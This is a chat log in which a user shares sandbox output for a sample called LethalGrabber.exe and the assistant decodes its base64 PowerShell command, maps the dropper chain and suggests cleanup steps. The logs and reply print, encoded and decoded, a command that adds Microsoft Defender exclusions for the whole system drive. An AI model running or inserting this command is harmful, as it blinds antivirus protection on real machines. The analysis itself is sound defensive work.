# Malware Process Analysis

#### You:
any urls or something in this malware?
Processes created
C:\Users\<USER>\AppData\Local\Temp\HealthService.exe
C:\Users\<USER>\AppData\Local\Temp\stager.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA=
"C:\Users\user\AppData\Local\Temp\HealthService.exe"
"C:\Users\user\AppData\Local\Temp\stager.exe"
"C:\Users\user\Desktop\LethalGrabber.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA="
C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Shell commands
C:\Users\<USER>\AppData\Local\Temp\stager.exe
powershell -EncodedCommand "PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA="
Processes terminated
LethalGrabber.exe
1872 - "C:\Users\azure\AppData\Local\Temp\HealthService.exe"
2312 - "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA="
2316 - "C:\Users\azure\AppData\Local\Temp\HealthService.exe"
2428 - "C:\Users\azure\AppData\Local\Temp\stager.exe"
2868 - "C:\Users\azure\AppData\Local\Temp\stager.exe"
C:\Users\user\Desktop\LethalGrabber.exe
Processes tree
2912 - wmiadap.exe /F /T /R
2540 - %TEMP%\UETZMQFTFBMWMTD0.exe
 2664 - "%TEMP%\stager.exe"
 2676 - "%TEMP%\stager.exe"
 2624 - "%windir%\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA="
 2712 - "pwsh.exe" -EncodedCommand PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAZAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGkAZAB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHEAbgByACMAPgA=
 2688 - "%TEMP%\HealthService.exe"
 2704 - "%TEMP%\HealthService.exe"
2300 - %windir%\System32\svchost.exe -k WerSvcGroup
2968 - %windir%\system32\wbem\wmiprvse.exe
Synchronization mechanisms & Signals
Mutexes created
\Sessions\1\BaseNamedObjects\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults
Modules loaded
Runtime modules
ADVAPI32.dll
API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
C:\Users\<USER>\AppData\Local\Temp\_MEI23162\ucrtbase.dll
C:\Users\<USER>\AppData\Local\Temp\_MEI28682\ucrtbase.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll

#### ChatGPT:
Based on what you posted, **there are no URLs or domains visible in these logs**. The information mainly shows process execution and an encoded PowerShell command.

### Decoded PowerShell command

The Base64 command:

```powershell
PAAjAHgAYgByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBl...
```

decodes to:

```powershell
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
```

(with some comment junk inserted like `<#xbr#>`).

This command:

- Adds **Windows Defender exclusions**.
- Excludes:
  - the entire user profile (`C:\Users\<user>`)
  - the whole system drive (`C:\`)
- Uses `-Force`.

That is highly suspicious because it effectively tells Microsoft Defender to ignore almost everything.

---

### Process chain

```
LethalGrabber.exe
    ↓
UETZMQFTFBMWMTD0.exe
    ↓
stager.exe
    ↓
HealthService.exe
    ↓
PowerShell (encoded command)
```

This is a typical malware chain:

1. Initial executable (`LethalGrabber.exe`)
2. Dropper with random filename
3. Stager
4. Payload masquerading as `HealthService.exe`
5. Defender exclusions added

---

### No network indicators shown

Your report contains:

- Process creation ✔
- Process tree ✔
- Mutexes ✔
- Loaded DLLs ✔

but **no**:

- HTTP requests
- DNS queries
- IP addresses
- URLs
- Domains

So from this particular output, **there are no URLs to extract**.

---

### Interesting indicators

**Files**

```
LethalGrabber.exe
stager.exe
HealthService.exe
%TEMP%\UETZMQFTFBMWMTD0.exe
```

**Mutex**

```
Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults
```

**Defender tampering**

```powershell
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
```

---

### If this came from a sandbox (Any.Run, Hybrid Analysis, Joe Sandbox, etc.), the network section may contain:

- contacted IP addresses
- URLs
- domains
- C2 servers

If you have the full report (especially **Network Activity**, **DNS**, or **HTTP Requests** sections), I can extract all the indicators of compromise (IOCs) from it.


#### You:
whee does it get lethal grabber

#### ChatGPT:
“LethalGrabber” (as seen in your logs) isn’t something that comes from a legitimate software vendor-it’s typically a **commodity info-stealer / malware builder output**, and it usually appears in the wild through **distribution of infected executables**, not from official sites.

### Where it usually comes from (real-world infection paths)

In cases like yours, it’s commonly spread through:

**1. Fake downloads**

- “cracked” games or software
- keygens / cheats / mods
- pirated installers

**2. Discord / Telegram distribution**

- files named like:
  - `setup.exe`
  - `gamehack.exe`
  - `LethalGrabber.exe`
- often sent via DMs or shared “tools” servers

**3. YouTube / TikTok scam links**

- “free robux”, “free FPS boost”, “hack tool”
- link to a password-protected ZIP or EXE

**4. GitHub / paste sites impersonation**

- fake “open source tools” repositories
- releases containing prebuilt EXE payloads

**5. Dropper chains (what your log shows)**
Your sample shows:

- `LethalGrabber.exe` → starts infection
- drops `stager.exe`
- executes PowerShell encoded payload
- disables Defender exclusions

That strongly suggests:

> it was already packaged as a malicious build and executed locally (not something Windows downloads by itself)

---

### Important clue from your log

The key line:

```powershell
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive)
```

This is classic stealer behavior:

- it tries to **blind Windows Defender**
- then runs further payloads without detection

So “LethalGrabber” in your case is almost certainly:

> a renamed or compiled stealer payload (often custom-built from a public malware builder kit)

---

### What this means for you

If this ran on your machine:

- assume **credentials may be compromised**
- especially:
  - Discord
  - browsers (saved passwords/cookies)
  - Steam / game accounts
  - email sessions

---

### What you should do next (important)

If this is your system:

1. Disconnect from internet
2. Run full Defender scan + offline scan
3. Change passwords from a clean device
4. Enable MFA everywhere
5. Check browser sessions (Google, Discord, etc.)

---

If you want, paste the **network section (DNS / HTTP / IPs)** of the report-I can help you identify exactly where it was trying to send data and what was stolen.
